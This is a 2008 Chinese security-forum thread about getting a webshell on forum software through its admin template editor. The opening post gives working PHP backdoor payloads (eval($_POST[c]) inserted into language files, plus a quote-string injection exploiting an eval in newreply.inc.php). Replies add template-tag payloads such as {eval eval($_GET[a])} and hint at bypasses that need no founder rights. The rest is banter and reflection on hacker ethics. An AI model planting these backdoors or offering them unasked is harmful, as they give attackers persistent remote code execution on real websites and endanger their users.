文章作者：Ryat （lib3r3t）
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

注：文章首发狼族（www.wolvez.org），后由原创作者有请提交到邪恶八进制，转载请注明原始作者和出处。

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：）

1.后台编辑customfaq(customfaq.lang.php文件)
在<?的后面加上

复制内容到剪贴板

代码:

eval($_POST[c]);

2.后台编辑misc(misc.lang.php文件)
把post_reply_quote对应的内容改为

复制内容到剪贴板

代码:

";eval($_POST[c]);"

在前台回帖处选择引用回复。
简单看下代码：

include/newreply.inc.php 107行：

复制内容到剪贴板

代码:

eval("\$language['post_reply_quote'] = \"$language[post_reply_quote]\";");

呵呵，一个天然的后门：）
PS：还有几个编辑模板的地方可以利用，和第二种方法类似。

貌似
编辑
模板
要
论坛
创始人
权限//
我x

所有模板文件, html 文件内都能够起到getwebshell的作用.
有点PHP常识的人都能够看出那里的端倪.

楼主的方法没什么讨论价值

#2

我没说这个有多大的讨论价值，话说这坛子我也没见过几个有价值的东西（我指PHP方面的）...

而且这年头没PHP常识的人还是有的...

PS：谁有权限把我这发帖数改了，我就发过5个贴，X...

引用:

引用第2楼ring04h于2008-01-27 01:12发表的 :
所有模板文件, html 文件内都能够起到getwebshell的作用.
有点PHP常识的人都能够看出那里的端倪.

楼主的方法没什么讨论价值

讲出来

引用:

引用第4楼remax于2008-01-27 18:33发表的 :

讲出来

{eval eval($_GET[a])}

鄙视某些只会装B的人

哎，基本上来邪八进行讨论的人，都不是那些天天嚷嚷着怎么刷QB，怎么盗QQ的人了。。或者其他XX。。。
至少都是有一点基础的。。像这种文章本来就没什么价值。。。你要说它有价值，那么你还是发到那些XX动画吧，XX基地去吧，，。。。如果来这的人连这些都不会的话，那么整个论坛我看他大多都看不懂！也就没有来这的意义鸟。。。

任意html模板文件插入
<!--{php script}--> 就可以getwebshell。
<!--{phpinfo()}-->

数据库->资料恢复 那里有个函数未做很深的判断也可以用来getwebshell.
没有创始人权限也是可以getwebshell的. 不便说出来. (如果你认为是装B,那就姑且这么认为吧)

引用:

引用第7楼ring04h于2008-01-27 21:32发表的 :
任意html模板文件插入
<!--{php script}--> 就可以getwebshell。
<!--{phpinfo()}-->

数据库->资料恢复 那里有个函数未做很深的判断也可以用来getwebshell.
.......

越来越有意思了...

我也知道一种不需创始人权限的方法，还是通过缓存，还是和模板有关，
里面涉及个技巧，确实不方便说，
不知道和你的方法一样不，哈哈...

我也就姑且这么认为

都装吧，反正偶不会PHP的，模板就更不懂了

缓存那就可以的.先编辑一下XXX模板..然后更新。。。不需要创始人权限嘛。如果是创始人权限。那方法太多了。。没讨论价值。比如INCLUDE 啦。本地或者远程包啦。拆分字符串饶过过滤啦。。多啦

引用:

引用第12楼heiye88于2008-01-30 09:24发表的 :
缓存那就可以的.先编辑一下XXX模板..然后更新。。。不需要创始人权限嘛。如果是创始人权限。那方法太多了。。没讨论价值。比如INCLUDE 啦。本地或者远程包啦。拆分字符串饶过过滤啦。。多啦

一大早起来就看到这么牛的回复...

我没LS牛，我的方法不是编辑模板后更新缓存(虽然和模板和缓存有关)，貌似非创始人没法编辑模板吧...
如果有创始人权限，本地或远程包含到是有可能触发，但是要通过某个东西转换下，拆分字符串饶过过滤？没明白？怎么个拆分？绕过哪的过滤啊？

PS：这邪八的牛人咋就这么多呢？不爽啊...

:lol :lol 狼族的大牛们VS邪8的小牛们

有贡献就是好同志，呵呵，大小都收着

拿个猪day一个回车就有shell了.

看来大家还是不肯把自己的心得说出来啊

苍天啊，黑客精神何在？
大牛啊，你们都成神了吗？

文章来源：http://hi.baidu.com/icbm

96,97年的时候我首次使用bbs系统，电话拨号的那种，大家互相的帮助，无私分享的分享网络知识，让我体会到了什么是真正的黑客精神，那就是贡献而不是索取。

几年以后互联网的风气完全改变了，黑白颠倒，充斥着流氓，欺诈，恶意的内容，技术的堕落，被用作欺负，攻击普通用户的工具，只为挣钱而生，让我对互联网非常非常失望，加入专业的安全公司后，我们立志保护用户可以安全方便的使用互联网技术，现在我自己创业希望我们的技术可以帮助到更多的人，也对互联网对大多数网民做出点贡献:)

[ 本帖最后由 westhack 于 2008-2-10 23:44 编辑 ]

lz
如果管理员把板块编辑的删了，哪你们上面的方法还有哪个能用？

引用:

原帖由 westhack 于 2008-2-10 23:42 发表
苍天啊，黑客精神何在？
大牛啊，你们都成神了吗？

文章来源：http://hi.baidu.com/icbm

96,97年的时候我首次使用bbs系统，电话拨号的那种，大家互相的帮助，无私分享的分享网络知识，让我体会到了什么是真正的黑客精神，那就是贡献而 ...

哈哈哈哈。。